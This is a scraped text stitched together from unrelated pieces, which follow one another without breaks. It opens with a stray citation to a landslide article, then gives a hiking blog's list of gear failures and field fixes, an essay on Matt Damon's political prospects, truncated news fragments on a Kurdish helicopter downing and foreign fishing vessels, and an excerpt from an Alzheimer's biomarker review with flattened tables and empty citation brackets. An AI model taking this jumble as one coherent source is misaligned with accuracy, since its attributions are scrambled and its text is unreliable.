Source: Richard Hill, 2002, Landslide Sleuths, from the Oregonian, Portland, Oregon, May 15, 2002, and presented on the U.S. Geological Survey Earthquake Hazards website, 2004.Backpacking and hiking gear has a nasty habit of failing when you least expect it or you need it the most – in the dark, when it’s pouring rain, or in the middle of nowhere. Knock on wood, I’ve never been stranded by gear failure, but it can be damn annoying. Here are some of the ways gear has failed on me and how I adapted in the moment, or by changing my gear list to prevent a similar incident from affecting me in the future.
Backpack Shoulder Strap Breaks
I was hiking a section of the Long Trail in Vermont when the shoulder strap of my backpack came unsewn at the bottom. I pinned it back on with the pair of locking baby pins I carry in my repair/first aid kit, hiked another 30 miles with it, and then sent it back to the manufacturer to have the strap resewn.
Water Filter Hose Tears
I used a First Need XL Water Filter when I hiked in the 100 Mile Wilderness in Maine the first time. About 4 days into my trip, the pump pressure started drop intermittently as I was pumping water. I figured it was a hole in the intake hose, but I couldn’t find it by visual inspection. I started cutting off pieces of the hose to see if I could locate and remove the bad section. This worked, but it reduced the length of the intake hose by half.
Chlorine Dioxide Tablets Fail to Dissolve in Water
I got a batch of Katadyn Micropur Chlorine Dioxide Water Purification Tablets this summer that failed to dissolve when added to water. I use them to purify a big batch of water overnight while I’m asleep so I have water in the morning for breakfast and the first half of the day. I always carry two forms of water purification when I hike, so I simply filtered the undissolved tablets and unpurified water with my Sawyer filter, but it was annoying. I’ve since switched to liquid Aqua Mira drops instead of Micropur tablets.
Forgotten Wind Screen
I occasionally forget to bring a wind screen when cooking with an alcohol or liquid fuel stove. This is easy to fix by positioning the stove behind a wind break like a big rock or by surrounding the stove with an accordion-style closed cell foam pad, like the Therm-a-Rest Z Lite. You can also use a plastic ground sheet as a wind break – see Jim Woods Kite Screen article about how to do this.
Carbon Fiber Trekking Pole Shaft Snaps
I’ve broken a lot of carbon fiber hiking poles in my time. The solution – I don’t use them. If you rely on one to pitch your shelter and it snaps, use a broken tree branch instead.
Tent Stakes Bend in Frozen Ground
Have you ever tried to pound an ultralight aluminum tent stake into frozen ground? They bend and don’t go in. Your best bet is to use a freestanding shelter instead, and fill it without enough gear so that it doesn’t blow away on a windy day.
Hiking Pant’s Seat Splits
If you have a sewing kit you can sew them. I never carry one, so I just suck it up and keep wearing torn hiking pants as is until I get home. No one really cares if you look like a hobo on the trail.
Hydration Reservoir Cap Comes Undone
The cap of my platypus hydration reservoir worked loose when I was hiking the Long Trail, filling my backpack with about 2 liters of water. Luckily, I’d lined my pack with a trash compactor bag so none of my gear got wet, but that’s the last time I carried a reservoir full of water inside my backpack.
Headlamp Stops Working
Not much you can do about this if you only have one headlamp, which is why I carry two.
Hard Shell Zipper Breaks and Falls Off
The zipper on my hard shell broke last autumn – on a relatively new coat. Not much you can do about this in the field, especially if it’s raining cats and dogs outside except to wait for it to stop raining. The manufacturer replaced my hard shell when I returned it.
Canister Stove Piezo Stops Working
The Piezo lighters that come on canister stoves eventually break and stop working – it’s happened to me several times. I always carry a fire steel in my gear repair /first aid kit to ignite fuel or start a fire, so this is never a problem for me. That fire steel has saved my butt a few times, though.
Inflatable Air Mattress Leaks
If your inflatable mattress starts to leak, you can try to field repair it with duct tape or a patch kit if you happen to carry one, which I don’t. Another solution is to always carry a piece of closed cell foam with you like a Gossamer Gear sitlight pad, which will insulate your torso in a pinch. You can also lie on your backpack, clothing, or pile forest duff under you to insulate your core from the cold ground. I’ve done them all.
External Pack Frame Pin Breaks
Back in the day, external frame backpacks used to be connected to the body of the backpack using a metal pin. These would occasionally break, so I’d always carry a few extras by attaching them to the zipper pulls on my pack’s external pockets.
How about You?
What annoying gear failures have you experienced and what did you do to carry on?For a society that places so much emphasis on celebrity, it is kind of surprising that in the century or so that movies have been our most popular art form, we have only elected a handful of movie stars to public office. I suspect the reason for this is one that only raises more questions: movie stars can enjoy as much as influence as politicians with far fewer expectations for results. Despite the myth of the liberal Hollywood elite, those actors who have been successful in politics have overwhelmingly leaned conservative. Ronald Reagan, Arnold Schwarzenegger, and Charlton Heston spring to mind as the most successful examples. Much to the dismay of Democrats everywhere, liberal activists from Hollywood seem more focused on their own pet issues and less likely to risk losing their fan base by running for office.
In recent years, George Clooney’s name has been bandied about as a potential dream candidate for Democrats. And why not? He is second-to-none in star quality, open about his activism and support of the party, and has a political pedigree: his father, Nick Clooney, ran for office (and lost) as recently as 2004. But Clooney has seemed content to focus his activism on a single issue (the war in Sudan), and his movies, while rarely lacking in political themes, are usually non-partisan. In interviews promoting “The Ides of March,” for example, he noted that he made his lead character, a flawed presidential candidate, a Democrat specifically because he wanted to avoid criticism from the right.
While Clooney seems unlikely to enter the political arena as a candidate, a friend of his appears to be inching closer to making the leap.
It was recently announced that Matt Damon will star in “The Promised Land,” a new film about the controversial practice of hydraulic fracturing or, as it is more commonly known, “fracking.” This role choice is significant because it indicates that Damon is now prioritizing his political activism over his career as a movie star.
Fracking is still an unknown entity in some parts of the country, but it could be coming soon to a town near you. Fracking is a process by which natural gas is extracted from the ground by pumping a mixture of sand, water, and chemicals into a well, which breaks up rock and releases the gas. It’s a controversial practice due to the many, well-documented health risks to people who live in areas that are being fracked. Most of these concerns have to do with the release of natural gas into the water supply, which was demonstrated in Josh Fox’s excellent 2010 documentary, “Gasland.” Here is the most memorable scene:
The plot of Damon’s new movie (which he also co-wrote) has not been released but a few details have emerged. According to IMDB.com, it tells the story of “a salesman who experiences life-changing events after arriving in a small town.” It sounds like it follows the same template as other activist movies such as “The China Syndrome” and “Blood Diamond,” in which the lead character gets exposed to a dangerous reality previously covered up by corporate interests. While neither Jane Fonda nor Leonardo DiCaprio, the respective leads in those films, was heavily criticized for the role, there was an extenuating circumstance in each case. “The China Syndrome,” a pro-environment movie that detailed the fallout from a nuclear meltdown, was released in a less politically divisive time, and nothing that liberal activist Fonda did could have riled up her opponents much more than they already were. And “Blood Diamond,” which illuminated the plight of African workers in the diamond trade, tackled an issue that was largely apolitical. Although both Fonda and DiCaprio have continued to be advocates, they have done so in more cautioned, politically-palatable ways.
Damon, on the other hand, doesn’t seem to care who he pisses off. At the Save Our Schools March in Washington last summer, he was interviewed by Reason TV, an off-shoot of the libertarian magazine. Flanked by his mother, a public school teacher, Damon let loose:
Predictably, he was roundly mocked by those on the right and celebrated by those on the left. None other than Michael Moore championed the idea of a Damon presidential run, citing the need to compete with Republicans who routinely trot out celebrities to run for office. He sees Damon as part of a new breed of Democrats, a “Democrats 2.0” party that will stand up for working people in the ways that current Democrats have failed. Damon himself has not been shy about criticizing the current Democratic administration, recently telling Elle magazine:
I’ve talked to a lot of people who worked for Obama at the grassroots level. One of them said to me, “Never again. I will never be fooled again by a politician.” You know, a one-term president with some balls who actually got stuff done would have been, in the long run of the country, much better.
Sounds like the words of someone who thinks he can do better. Damon has stated publicly, however, that he has no interest in running for office. Of course, we’ve heard that before. A look at his filmography indicates that Damon has always been interested in political issues, though in recent years they have become more of a focus. His early films were ostensibly apolitical, but most of them dealt with issues of class and income inequality in a more roundabout way. “Good Will Hunting,” “Rounders,” and “The Talented Mr. Ripley” would fit into this category. The political statements in these films are subtextual, as opposed to films that aim to make a political statement or are set in a political milieu. This is not an unusual career path for politically active actors. A good corollary would be the work of Charlie Chaplin, who championed working people as the Tramp in his early films but made overtly political statements in films like “The Great Dictator” towards the end of his career.
As Damon’s star has ascended and his career has become more stable, he has shifted focus and starred in a number of films that hinged on political issues dear to the American left. “Syriana” exposed the perils of Big Oil. “The Informant!” spoofed corporate corruption. “Green Zone” was critical of the case made by the Bush administration for the War in Iraq. Damon even had a small part in “Che,” Steven Soderberg’s biopic of Che Guevara.
But frankly, none of those films tackled subjects as timely and controversial as fracking. Ever since the BP oil spill, natural gas, which is seen as a safer alternative, has become increasingly popular. For a couple of months here in DC, Metro stations were flooded with ads bought by the American Petroleum Institute, urging Americans to “Vote 4 Energy.” These ads were peppered with facts and figures about natural gas. Sen. Bob Casey (D-PA) has introduced the FRAC Act, a bill that will pave the way for further fracking in his own state, while including some half-hearted provisions meant to ensure public safety. The bill received a hearing in the Subcommittee on Water and Wildlife but is extremely unlikely to move in an election year.
Furthermore, the issue is being dealt with in several state legislatures. Sen. Casey’s own state, Pennsylvania, has passed a controversial state law that favors the natural gas industry. The law is designed to expedite in-state fracking, but opponents of the practice are drawing attention to a provision buried in the law. According to some, this provision, added in committee conference without a vote, allows doctors to get data from the state about local fracking if they see symptoms in their patients suggestive of contamination, but it does not allow the doctors to share this data with their patients. The final terms of these “confidentiality agreements” between physicians and the state have not yet been drafted, but public health and environmental advocates are rightly concerned. Either way, it is clear that this issue is not going away anytime soon. With the stain of the BP oil spill still fresh in the minds of the public and with the appetite for renewable energy sources seemingly shrinking, natural gas is the only politically palatable option.
So what will this mean for Matt Damon? Well, it means that “The Promised Land” will be immediately dismissed by right-wing commentators who are already skeptical of the “liberal Hollywood elite.” But a good story has more power than a hundred Rush Limbaughs. The movie will reunite Damon with his “Good Will Hunting” director Gus Van Sant, a sign that it will have commercial appeal and the potential to be a hit.
But more interesting is this: by writing and starring in a film whose subject is highly politicized, Damon has indicated that he values his activism over his celebrity and, ultimately, his acting career. But is this a clear intent to seek public office? Maybe. He is clearly willing to risk his career for the causes important to him, so a second career in government would seem to be a natural fit. He could be the “one term president with some balls” that he opined for. But those actors who have achieved success in politics did so by staying politically neutral onscreen. Reagan and Schwarzenegger, for example, never made overtly political statements in their films. Then again, they were Republicans.
Though we cannot know at this juncture what the future will hold for Damon, we do know this. If he runs for office, he will do so as an actor who has been up front about his political beliefs and has incorporated them heavily into his work. In this way, he would be blazing a new trail for activist actors. If, on the other hand, he stays committed to acting, he will continue to make films that matter to him, even if he loses some of his audience in the process. Either way, I will be interested to see what comes next.
AdvertisementsReports have emerged that Kurds have shot down a helicopter over Iraqi Kurdistan, which they say was used in airstrikes against them. Turkish officials have made no comment, but a source confirmed to RT that the incident took place.
Previously Ankara acknowledged conducting airstrikes on alleged PKK targets in Iraq. Turkish military is also targeting Kurds inside the country and shelling Kurdish militias in northern Syria.
One sortie apparently went wrong for a Turkish assault helicopter as Iraqi Kurdish militia claim they shot the aircraft down.
Kani Xulam, from the American Kurdish Information Network, told RT that official Ankara would refrain from reporting |
encountered another foreign fishing vessel also with catch and no permit. It was also told to head for East London.
An array of charges are being contemplated against the vessels‚ which include not complying with lawful instructions and infringing conservation measures.
Daff and SAPS are busy with registration of the criminal docket‚ after which it will be handed over to the National Prosecuting Authority (NPA) for a decision.
-TMG Digital/Daily DispatchThe diagnosis of Alzheimer’s disease (AD) can only be made with certainty after a patient has deceased, by histological examination of brain tissue at autopsy or, rarely, following brain biopsy. Histopathology should reveal evidence of the characteristic hallmarks of AD, which are extracellular accumulations of amyloid β (Aβ) in senile plaques and intracellular neurofibrillary tangles of hyperphosphorylated tau (P-tau) [1]. These hallmarks must be seen in sufficient numbers to confer a pathological diagnosis. This fits with the idea of a gradual progression and continuum of pathology and biomarker changes. Multiple pathologies may also be present, and the level of each can be critical.
In 1984, a working group established by the National Institute of Neurological and Communicative disorders and Stroke and the Alzheimer’s Disease and Related Disorders Association created clinical diagnostic guidelines of probable AD [2], which were validated against neuropathological diagnosis with a sensitivity and specificity of around 80 and 70%, respectively [3]. However, the criteria only allowed for making a diagnosis in the dementia stage of the disease, i.e., when the patients were so severely affected by the disease process that they could not manage daily functioning in respect to intellectual and social abilities. Due to advances in research a revision of the guidelines was made by a new working group from the National Institute of Aging in 2011 [4]. Now, imaging and cerebrospinal fluid (CSF) biomarkers have been implemented to provide evidence of an ongoing AD pathophysiological process and it is also possible to make a pre-dementia diagnosis of AD. The included CSF biomarkers are the total amount of tau (T-tau), which reflects the intensity of neuroaxonal degeneration, P-tau, which may correlate with tangle pathology, and the 42 amino acid isoform of Aβ (Aβ42), which correlates inversely with plaque pathology [5]. It is well known that the pathological processes in the brains of AD patients start more than a decade before the first symptoms are noticed [6]. The temporal dynamics of biomarker levels in relation to changes in cognition have been described in a hypothetical model on the continuum of AD [7]. In line with this, the revised diagnostic guidelines identify three different stages of AD: preclinical AD, mild cognitive impairment (MCI) due to AD and AD with dementia. In this review, we will describe the CSF biomarker characteristics of these three stages, and also give an update on the available data for biomarkers in blood. Imaging biomarkers will not be covered.
Biomarkers in preclinical AD The working group of the National Institute of Aging was posed with the task of how to define the preclinical phase of AD [8]. They subdivided this phase into three separate stages. In the first stage, patients have amyloid pathology, as defined by positive amyloid on positron emission tomography (PET) imaging or low CSF Aβ42, but no signs of neuronal degeneration (normal volumetric magnetic resonance imaging [MRI] of the brain, normal CSF T-tau levels). In the second stage, neuronal degeneration is evident and patients have elevated CSF T-tau or signs of neuronal injury on imaging methods in addition to positive amyloid markers. To qualify in the third stage, patients have to experience subtle cognitive deficits, although not severe enough to meet the criteria for MCI. To investigate the practical applicability of these guidelines, Jack et al. applied them to a set of cognitively normal individuals from a population-based sample [9]. Only imaging, not fluid, biomarkers were used in this study. After evaluating the results, they found the need for two additional stage categories: stage 0 and Suspected non-AD pathophysiology (SNAP). Stage 0 denotes individuals with no pathological AD biomarkers and no signs of subtle cognitive impairment. Subjects with SNAP have normal amyloid biomarkers, but display signs of neurodegeneration, and could be in the preclinical stage of a non-AD neurodegenerative process. The proposed criteria are so far intended for research purposes only, and can provide a common ground to facilitate the search for biomarkers for preclinical AD. If a disease-modifying treatment for AD is found, it will most likely have the greatest effect if administered in the early disease stages [10], which underlines the importance of the work executed by this working group. 1 2 11 12 13 14 13 15 15 Familial AD MCs NCs CSF Aβ42, T-tau, P-tau, Aβ42:Aβ40 ratio or plasma Aβ42 in MCs vs NCs Comment Ref 88 40 ↓ Aβ42 and ↑ T-tau in CSF, 10 and 15 years before expected symptom onset, respectively. ↑ Aβ42 in plasma 15 years before expected symptom onset. A linear model of biomarker levels in relation to time to expected onset of symptoms was created from cross-sectional data, and used for comparisons of biomarker levels at various points in time. According to this model, CSF Aβ42 seemed to decrease over 25 years prior to expected symptom onset. [11] 10 10 ↑ Aβ42 and ↑Aβ42: Aβ40 ratio in CSF and ↑ Aβ42 in plasma 20 years before expected onset of MCI. → T-tau and → P-tau in CSF. MCs had also elevated plasma Aβ42: Aβ40 ratios. [12] 9 5 ↓ Aβ42, ↑T-tau and ↑P-tau in CSF 17 years before expected dementia diagnosis. CSF Aβ42 levels were negatively correlated with age in MCs. [13] 6 6 ↑T-tau, ↑ P-tau, ↓ Aβ42: Aβ40 ratio in CSF and → Aβ42 in plasma 11 years before expected AD diagnosis. A trend towards ↓ Aβ42 in CSF (p = 0.53) was also seen. [14] 5 (CSF), 8 (plasma) 4 (CSF), 9 (plasma) ↑T-tau, ↑ P-tau in CSF and ↑ Aβ42 in plasma 13 years before expected AD diagnosis. ↑ Aβ42:Aβ40 ratios in plasma among MCs were also seen. [15] Sporadic AD Subjects Developed dementia Mean age (years) Follow-up time (years) CSF Aβ42, T-tau, P-tau, Aβ42:Aβ40 ratio or plasma Aβ42 Comment Ref 55 4 73 8 CSF T-tau was cross-sectionally correlated with MMSE score. CSF Aβ42 was correlated with future MMSE and change in MMSE. There were only women in this study. [16] 61 13 (had a CDR > 0) 75 3-4 No significant results for Aβ42, T-tau, P-tau in CSF. The main outcome was to predict conversion from CDR 0 to a higher CDR. The CSF T-tau:Aβ42 and P-tau:Aβ42 ratios significantly predicted this. [17] 51 0 73 3 ↓ Aβ42 in CSF predicted cognitive decline. No significant results for T-tau or P-tau in CSF. Cognition was evaluated with memQoL and MMSE. The combination of CSF Aβ42 and P-tau predicted cognitive decline with increased accuracy compared with Aβ42 alone. [18] 37 0 73 4.5 ↓ Aβ42 CSF at follow-up correlated with worse cognition. Individuals with the most substantial longitudinal decrease of Aβ42 or increase of P-tau in CSF performed worse on cognitive test than the others. No significant results for CSF T-tau and plasma Aβ42. Cognition was evaluated with ADAS-cog and AQT. [19] 43 0, but 4 developed MCI Around 69a 3.5 Aβ42 and T-tau in CSF were used for predicting MCI. Individuals were dichotomized into having a high or normal CSF T-tau/Aβ42 ratio. Individuals with a high ratio were more likely to develop MCI on follow-up. [20] 35 7 85 3 ↓Aβ42 in CSF at baseline in patients that developed dementia. The CSF Aβ42:Aβ40 ratio showed a tendency to be lower (p = 0.068) in individuals that developed dementia. CSF Aβ40 was lower in patients with dementia at baseline, but could not predict dementia in the cognitively normal. [21] 127 2, and 11 developed MCI 60 4 ↓Aβ42, ↑T-tau and ↑ P-tau in CSF among progressors. All patients had subjective complaints at baseline. CSF Aβ42 alone was the strongest predictor for clinical progression. [22] Both cross-sectional and longitudinal studies have evaluated the association between the core CSF AD biomarkers and preclinical AD. Their findings are summarized in Tablesand. The cross-sectional studies have included patients carrying familial AD (FAD)-causing mutations and determined biomarker levels long before expected disease onset. Bateman et al. evaluated biomarkers levels in subjects at risk for carrying an autosomal dominant AD mutation []. The expected age of symptom onset was calculated from the participants’ parents’ age at onset of AD symptoms. Linear models were then created, showing the biomarker levels as a function of time to expected onset of symptoms in mutation carriers and non-carriers. Mutation carriers had significantly elevated levels of CSF T-tau and plasma Aβ42 15 years before expected symptom onset. CSF levels of Aβ42 were significantly reduced in mutation carriers 10 years before expected onset of symptoms. Another study that included members of the Colombian Alzheimer’s Preventive Initiative Registry found that CSF and plasma Aβ42 levels in young individuals carrying a specific presenilin 1 (PS1) mutation were significantly increased compared to non-carriers more than two decades before estimated MCI onset []. Studies on cognitively normal mutation carriers that were closer to the expected onset of AD have found decreased levels of Aβ42 [], increased levels of T-tau and P-tau [], and reduced Aβ42:40 ratio in CSF or increased plasma Aβ42 levels [] compared with controls. These studies are thought to constitute models that are applicable to patients with sporadic AD as well. Longitudinal studies have correlated baseline levels of the core biomarkers in cognitively normal individuals with decrease in cognitive function or development of MCI or AD. CSF levels of Aβ42 alone [16] or in combination with T-tau [17] or P-tau [18] have been associated with future development of cognitive impairment in individuals that were cognitively normal at the time of LP. In another study, healthy older adults were examined and lumbar punctured at baseline and after a four year follow-up [19]. It was found that low levels of Aβ42 at follow-up were associated with worse performance on cognitive tests. Decreasing levels of Aβ42 and increasing levels of P-tau were also associated with worse cognitive performance. One study including healthy controls from the Alzheimer Disease Neuroimaging Initiative (ADNI) showed that individuals with low CSF Aβ42 levels displayed significantly higher rates of brain atrophy over one year than individuals with higher Aβ42 levels [23]. Increased T-tau:Aβ42 ratio [20] or low levels of CSF Aβ42 [21] have been found to predict conversion to MCI in cognitively normal or AD in non-demented elder individuals, respectively. One study on patients with subjective complaints found that CSF Aβ42 alone was superior to T-Tau, P-tau or a combination of all three biomarkers in predicting progression to MCI or AD [22]. However, there are yet no prospective long-term studies that have investigated whether CSF biomarkers can predict development of AD in healthy elderly individuals within 10–20 years. Such studies will be vital to be able to determine whether the majority of healthy individuals with low CSF Aβ42 (alone or in combination with tau) will indeed develop AD dementia within 1–2 decades. In this context, it is important to remember that several of the longitudinal studies mentioned above are in fact cross-sectional in respect to the biomarker data, with one set of baseline biomarker measures correlated to longitudinal clinical data. This is not the best study design to examine temporal dynamics in biomarker changes; the sensitivity of the analytical techniques may determine when a biomarker appears positive. A very sensitive method for one marker as compared to a less sensitive method for another marker may give a false imprecision that one pathological change precedes the other. Therefore, we now must validate the hypotheses and models mentioned above in true longitudinal studies with repeated biomarker measurements and clinical assessments over time in the same individuals.
Biomarkers in MCI The risk for patients with MCI to develop AD during a 4.5-year follow-up has been found to be roughly tripled compared to cognitively healthy controls [24]. However, MCI is a heterogeneous disorder, and people suffering from it may progress to other dementias than AD, including vascular dementia (VAD), frontotemporal dementia (FTD) and Lewy body dementia (DLB), or remain relatively stable and decline cognitively as in normal aging [25]. The combined pattern of low levels of Aβ42 together with high levels of T-tau and P-tau in CSF can accurately discriminate incipient AD from patients with stable MCI [26]. Since the annual progression rate from MCI to AD is around 10-15% [27], it is important to have long follow up periods to identify late converters. One large study found that CSF levels of Aβ42, T-tau and P-tau among MCI patients could predict progression to AD with good accuracy after a median follow-up period of 5.2 years [28]. The combination of T-tau and Aβ42 gave a sensitivity of 95% and a specificity of 83%. The study population was evaluated again after an extended follow-up, now with a median of 9.2 years since baseline [29]. An additional set of patients from the MCI group had now converted to AD. The ratio of Aβ42:P-tau at baseline predicted development of AD within 9.2 years with sensitivity and specificity around 85-90%. Patients who converted within 5 years had significantly higher levels of T-tau and P-tau than the patients that converted within 5–10 years, while the level of Aβ42 was similar. A limitation of that particular study was however that the cutoff levels for the CSF biomarkers were established in the same cohort of patients that was then used to evaluate the diagnostic performance of the biomarkers to detect incipient AD. In some other studies, the cutoffs for Aβ42, T-tau and P-tau have been determined when comparing controls with patients with AD and then these cut offs have been applied in cohorts with MCI. Using this approach Hertze et al. found that different combinations of Aβ42, T-tau and P-tau could predict AD over 5 years with a sensitivity of 85-90% and specificity of 71-82% [30]. In a cohort from the Development of screening guidelines and criteria for predementia Alzheimer’s disease (DESCRIPA) study, 79% of the patients with amnestic MCI had an abnormal CSF Aβ42:T-tau ratio, and this profile was associated with progression to AD dementia [31]. A baseline AD-like profile of CSF T-tau:Aβ42 was present in 89% of MCI patients from ADNI that developed AD within one year [32]. A large multicenter study tested the ability of the core CSF AD biomarkers to predict incipient AD in patients with MCI [33]. The combination of Aβ42:P-tau ratio and T-Tau rendered a sensitivity of 83% and a specificity of 72% for progression to AD. The somewhat low specificity in this study may be caused by the short follow-up time of only around 2 years. Also, the biomarker cutoffs were determined in an independent cohort. This gives a lower, but truer, diagnostic accuracy. Further, lack of standardization of pre-analytical and analytical conditions between the included centers may have contributed. The potential of the core biomarkers under standardized settings has proven to be very good. Their diagnostic performance in a homogeneous mono-center population was excellent, achieving an area under the receiver operating curve of 0.97 in the discrimination of patients with AD or patients with MCI who converted to AD against stable MCI and controls [34]. Indeed, for the biomarkers to be used clinically, standardization of pre-analytical and analytical factors is needed. This requires identification of these factors followed by harmonization between laboratories. The Alzheimer’s Association quality control program was created with the purpose of facilitating the worldwide use of CSF AD biomarkers in the clinic and research and is open for any laboratory that uses a commercially available assay for CSF Aβ42, T-tau or P-tau [35]. In the test rounds that have taken place so far, the coefficient of variation among the contributing labs has been around 15-25% [36]. Currently, only monitoring is conducted, but further on, active interventions will be crucial. To that end, several standardization efforts are in progress, e.g., the Global Biomarker Standardization Consortium, the CSF-Proteins Working Group of International Federation of Clinical Chemistry and Laboratory Medicine and the BIOMARKAPD project of the EU Joint Programme in Neurodegenerative Disease Research [36].
Biomarkers in AD with dementia CSF levels of T-tau are about 300% higher in AD patients than control subjects [37]. The biomarker is not specific for AD and increased levels can be found in the CSF of patients who have suffered from acute stroke [38] or head trauma [39], and very high levels are seen in patients with Creutzfelt-Jakob disease [40]. Since it is a non-specific marker for axonal and neuronal degeneration, non-AD dementias may also give elevated CSF T-tau levels [41]. In the differential diagnostics against other dementias, P-tau may have a greater value since it is more AD-specific [42]. Elevated P-tau levels have been found in patients with AD compared with patients suffering from FTD and VAD [43], DLB [43, 44] and Parkinson disease with dementia [44]. P-tau differentiated between patients with AD and patients with FTD and DLB, with specificities of 92 and 64%, respectively [43]. However, a large study on patients with AD as well as DLB, FTD and VAD showed that an AD biomarker profile was present in a substantial part of the non-AD patients [45]. Potential reasons for this overlap may be misdiagnosis or the presence of mixed dementias. Future autopsy studies will hopefully shed light on this issue. The levels of P-tau in CSF ante mortem correlate with the amount of neurofibrillary tangles and hyperphosphorylated tau in the brain post mortem[46, 47]. A study of cortical biopsies from living patients with normal pressure hydrocephalus showed a correlation between the amount of hyperphosphorylated tau in the biopsies and P-tau levels in CSF [48]. The same study also found that presence of cortical amyloid plaques was associated with lower levels of CSF Aβ42. The lower CSF levels of Aβ42 in AD patients compared with controls are believed to be caused by its accumulation in senile plaques. Indeed, autopsy studies have reported correlations between plaque load and reduced Aβ42 in lumbar CSF ante mortem[46] and ventricular CSF post mortem[49]. Using positron emission tomography several studies found an inverse correlation between brain amyloid load and CSF Aβ42 [50–52]. The combination of these biomarkers can accurately distinguish AD patients from controls, with sensitivity and specificity over 80% [26, 41]. One study that examined the performance of these biomarkers in AD patients in different ages found that although diagnostic accuracy decreased somewhat with age, the positive and negative predictive values of the biomarkers combined were stable enough for the biomarkers to be used in old patients [53]. Their longitudinal stability in AD patients has also been evaluated. Most studies have found that levels of Aβ42 and P-tau remain unaltered over time [54–57] while available data for T-tau is inconclusive [58]. Some studies report no temporal alteration in T-tau levels in AD patients, while others have found an increase. However, high levels of T-tau and P-tau seems to be associated with increased disease intensity and a more rapid disease progression [59–61].
Measurement of core AD biomarkers There are various assays for the three core AD CSF biomarkers and it is important to bear in mind what they actually measure. One of the most common assays for Aβ42 is an enzyme-linked immunosorbent assay (ELISA) specifically constructed to measure Aβ containing both the 1st and 42nd amino acids of the protein [62], but there are also assays that are C-terminally end-specific but use N-terminal antibodies that allow for measurement of N-terminally truncated Aβ42 fragments in addition to Aβ1-42 [63]. Most data suggest that these assays measure free monomeric Aβ42 but they correlate well with a selected reaction monitoring-based mass spectrometry method for total Aβ42 [64]. Tau exists in several isoforms and may be phosphorylated at different residues. The most common ELISA for T-tau detects all isoforms of tau, independently of phosphorylation state [65]. The two most common ELISAs for P-tau measure tau that is phosphorylated at residue 181 or 231 [66][67][68], and the diagnostic performance is similar between these assays [43]. A multiparameter assay based on xMAP® technology was developed for simultaneous measurement of Aβ42, T-tau and P-tau [68]. Although it gives different absolute values than the corresponding ELISAs, correction factors can be used for direct comparisons.
CSF and imaging biomarkers combined Even though imaging biomarkers are beyond the scope of this review we would like to point out some studies where CSF and imaging biomarkers have been used together. The combination of CSF and imaging biomarkers can provide increased diagnostic accuracy compared to using either modality alone. Shaffer et al. found this to be the case when using whole-brain MRI, fluorine 18 fluorodeoxyglucose (FDG) PET and CSF T-tau, P-tau and Aβ42 to predict conversion from MCI to AD [69]. Westman et al. showed that the combination of CSF Aβ42, T-tau and P-tau with MRI-generated regional subcortical volumes and cortical thickness measures gives a better classification of MCI, AD and controls at baseline than using either biomarker alone [70]. The prediction of incipient AD in MCI subjects was also improved by using the two biomarker modalities together. Vos et al. found that the CSF Aβ42:T-tau ratio increased the predictive accuracy for MCI patients with normal and abnormal hippocampal volumes on MRI that later developed AD [71]. MRI only provided increased diagnostic accuracy in patients with a normal CSF test. Other studies have found that CSF T-tau, P-tau, Aβ40 and/or Aβ42 and atrophy of the medial temporal lobe on MRI provides independent information when discriminating between AD patients and controls [72], and between patients with stable MCI and MCI patients that develop AD [73]. Further studies need to elucidate which imaging methods that are most beneficial to use, and the correct time point to implement them, in relation to CSF biomarkers.
Candidate biomarkers The search for new AD biomarkers may be facilitated by the core CSF AD biomarkers. By including patients with signs of an AD pathological process and ensuring that control subjects lack this profile, future biomarker studies may be more successful. Results from earlier studies may, for instance, have been clouded by the presence of non-symptomatic AD patients in the control groups. A recent study on the effect size of the major susceptibility gene for AD, APOE ϵ4, supports this reasoning; when disregarding clinical information on patients with cognitive impairment and simply grouping them on the basis of CSF tau and Aβ markers, the association of APOE ϵ4 with AD was twice as strong as compared to when classifying patients according to clinical status [74]. The potential uses for AD biomarkers are many. Besides from diagnostics, CSF biomarkers may be utilized for prognosis, assessing disease progression, developing treatments, monitoring treatment effects and studying disease mechanisms. Several studies have investigated the AD biomarker potential of various analytes related to Aβ. BACE1 For Aβ to be produced, the amyloid precursor protein (APP) is cut by two different enzymes, β-secretase and γ-secretase. The major β-secretase in the brain is called β-site APP cleaving enzyme-1 (BACE1). Several studies have investigated the levels of CSF BACE1 activity in patients with MCI and AD, but the results are not univocal. Three small studies found that patients with AD had increased BACE1 activity compared with non-demented controls [75, 76] or patients with other dementias [77]. One study found higher activity in patients with MCI and dementia due to AD compared with controls [63]. Another study found significantly elevated BACE1 activity in patients with MCI but not with AD when comparing with controls [78]. One study failed to show any differences in BACE1 activity between MCI and AD patients compared with controls [79]. However, when patients with a pathologic profile of the core AD biomarkers were compared with controls with a normal biomarker pattern, a significant elevation of BACE1 activity was found in the patient group. The MCI patients contributed the most to this elevation. Finally, a large study did not find any differences in activity between AD patients and controls [80]. When the AD patients were stratified into mild and moderate-severe AD, an increased BACE1 activity could be seen in the group with mild AD compared the more affected AD patients and controls. These studies indicate that the activity of BACE1 may be mildly elevated in the early stages of AD, but the diagnostic usability of the biomarker seems limited. It may however prove to be valuable in clinical trials of BACE1 inhibitors. sAPPα/sAPPβ The levels of sAPPα and sAPPβ correlate very well in AD patients as well as controls [63]. Several studies have failed to show any differences in the levels of these biomarkers between AD patients and controls [30, 34, 63, 80, 81]. One study found higher levels of sAPPβ in MCI patients compared with controls [81], and another that MCI patients that upon follow up developed AD had higher levels of sAPPβ than patients that didn’t [82]. However, Hertze et al. found no differences in sAPP levels in MCI patients with incipient AD compared with stable MCIs or patients that developed other dementias [30]. Studies that compared patients with MCI or dementia that had a pathologic core CSF AD biomarker profile with controls with a normal profile found that the former group had increased levels of sAPPα and sAPPβ, but there were large overlaps between the groups [83–85]. The diagnostic value of sAPPα and sAPPβ appears limited. Yet, the proteins may be used for studying effects on the APP metabolism in clinical trials [5]. Aβ oligomers Oligomers of Aβ may be more toxic than fibrillar Aβ aggregates [86]. They can inhibit hippocampal long-term potentiation in vivo[87], and cause abnormal tau phosphorylation and neuritic dystrophy [88–90]. A relatively large number of assay formats to measure Aβ oligomers in CSF have been published. These papers have shown that the CSF level of Aβ oligomers is very low, probably less than 1% of total Aβ levels, and thereby very difficult to quantify in a reliable manner. In AD patients, elevated Aβ oligomer levels have been found in brains [91, 92] and CSF [93–96]. However, not all studies have found altered levels in AD patients versus controls [97, 98], but the latter of these found a negative correlation between oligomer levels and cognitive status, indicating a potential use for assessing disease stage in AD patients. One study found elevated levels of oligomers in human and mouse brains, but not in CSF [99]. Handoko et al. found that CSF oligomer levels increased with age and correlated with levels of T-tau in cognitively normal older adults. Also, increased levels were found in cognitively normal subjects with a biomarker profile indicating impending AD [100]. Except for technical difficulties to measure minute amounts of Aβ oligomers in CSF samples, it 